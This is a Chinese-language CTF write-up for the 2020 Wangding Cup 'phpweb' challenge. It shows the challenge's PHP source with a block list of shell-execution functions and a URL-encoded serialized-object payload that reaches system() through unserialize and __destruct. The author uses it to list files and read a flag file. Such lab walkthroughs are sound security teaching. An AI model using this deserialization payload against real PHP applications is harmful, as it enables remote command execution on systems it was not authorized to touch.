[网鼎杯 2020 朱雀组]phpweb

Warning : date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

2025-07-09 05:06:31 am

不太明白timezone是什么。 查了一下原来是时区设置,现在使用的是默认时区UTC,与当前时间不符。可以通过修改配置文件中的data.timezone或者调用date_default_timezone_set()函数设置时区。

另外网页还会自动刷新,但是我仍不知道解题思路,找找有没有其他线索...

通过抓包看到有POST传参:

func=date&p=Y-m-d+h%3Ai%3As+a

func应该是指调用的函数吧,p应该是指参数,作用是获得当前时间,确实页面响应中有时间。

难道是利用这个修改时区,尝试一下修改参数:

func=date_default_timezone_set&p='Asia/Shanghai'

页面不再出现报错,说明函数执行成功了。

那如何利用该漏洞拿到flag呢?

func=scandir&p='.'

返回警告scandir('.'): failed to open dir: No such file or directory in /var/www/html/index.php

func=scandir&p='../'

func=scandir&p='DIR'

func=file_get_contents&p='index.php'

仍然是相同报错。直接看答案吧...

我天!居然是func=file_get_contents&p=index.php,参数不加引号!对啊本来func=date&p=Y-m-d+h%3Ai%3As+a就没用引号。func=date_default_timezone_set&p='Asia/Shanghai'成功运行又是为什么呢?func=scandir&p=.没有返回结果(看了源码就会知道因为该函数返回数组,源码限制只输出字符串类型返回值)

php 复制代码
   $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

审计源码可以看到反序列化漏洞,class Test中有魔术方法__destruct,并且变量func和p的值没有过滤。思路就是传入的参数fun为unserials,p为序列字符串。

试试看p->fun=eval&p->p=_POST[0]:

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A8%3A%22_POST%5B0%5D%22%3Bs%3A4%3A%22func%22%3Bs%3A4%3A%22eval%22%3B%7D

出现报错: call_user_func() expects parameter 1 to be a valid callback, function 'eval' not found or

invalid function name in <b>/var/www/html/index.php。

查阅资料后才知道在PHP 里eval()是一个语言结构,并非普通函数,所以不能把字符串 'eval' 作为回调函数名直接传给 call_user_func(),可以考虑将其封装成function($code) {

eval($code);

}

但是仍然报错。那用system呢?

p->fun=system&p->p=_POST[0]

func=unserialize

&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A8%3A%22_POST%5B0%5D%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

&0=ls/

没有任何输出。应该是语法错误。问题在于'$_POST[0]'会直接作为字符串传给system当作系统命令执行,并不会接受POST传参。

所以只能麻烦一点,用反序列字符串作为中间过渡进行命令执行。

执行system['ls']的输出是 bg.jpg index.php index.php 因为该命令显示当前目录中的文件。

执行system['ls /'] 查看根目录,但是并未找到flag字样。

执行system['find / -name"*flag*"']

/proc/sys/kernel/acpi_video_flags

/proc/sys/net/ipv4/fib_notify_on_flag_change

/proc/sys/net/ipv6/fib_notify_on_flag_change

/proc/kpageflags

/tmp/flagoefiu4r93

/sys/devices/pnp0/00:04/tty/ttyS0/flags

/sys/devices/platform/serial8250/tty/ttyS15/flags

...........................................

/sys/devices/platform/serial8250/tty/ttyS25/flags

/sys/devices/virtual/net/eth0/flags

/sys/devices/virtual/net/lo/flags

/sys/module/scsi_mod/parameters/default_dev_flags

/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph

/usr/include/x86_64-linux-gnu/asm/processor-flags.h

/usr/include/x86_64-linux-gnu/bits/waitflags.h

/usr/include/linux/kernel-page-flags.h

/usr/include/linux/tty_flags.h

/usr/include/linux/tty_flags.h

出现贼多,不过以我对linux文件目录命名规则浅薄的理解,flag大概率在tmp中

执行system['cat /tmp/flagoefiu4r93'] 嘿嘿拿到了。

相关推荐
kali-Myon38 分钟前
NewStarCTF2025-Week1-Misc
安全·ctf·misc
360智汇云3 小时前
Golang Context 的巧妙应用:提高并发管理的艺术
web
kali-Myon1 天前
NewStarCTF2025-Week2-Pwn
算法·安全·gdb·pwn·ctf·栈溢出
kali-Myon2 天前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
亿.62 天前
羊城杯 2025
web·ctf·writeup·wp·羊城杯
被巨款砸中2 天前
前端 20 个零依赖浏览器原生 API 实战清单
前端·javascript·vue.js·web
卓码软件测评2 天前
第三方软件质量检测:RTSP协议和HLS协议哪个更好用来做视频站?
网络·网络协议·http·音视频·web
Kiri霧3 天前
在actix-web中创建一个提取器
后端·rust·web
im_AMBER3 天前
Web 开发 30
前端·笔记·后端·学习·web
poemthesky4 天前
newstar2025 web week1&week2题解(少一道)
web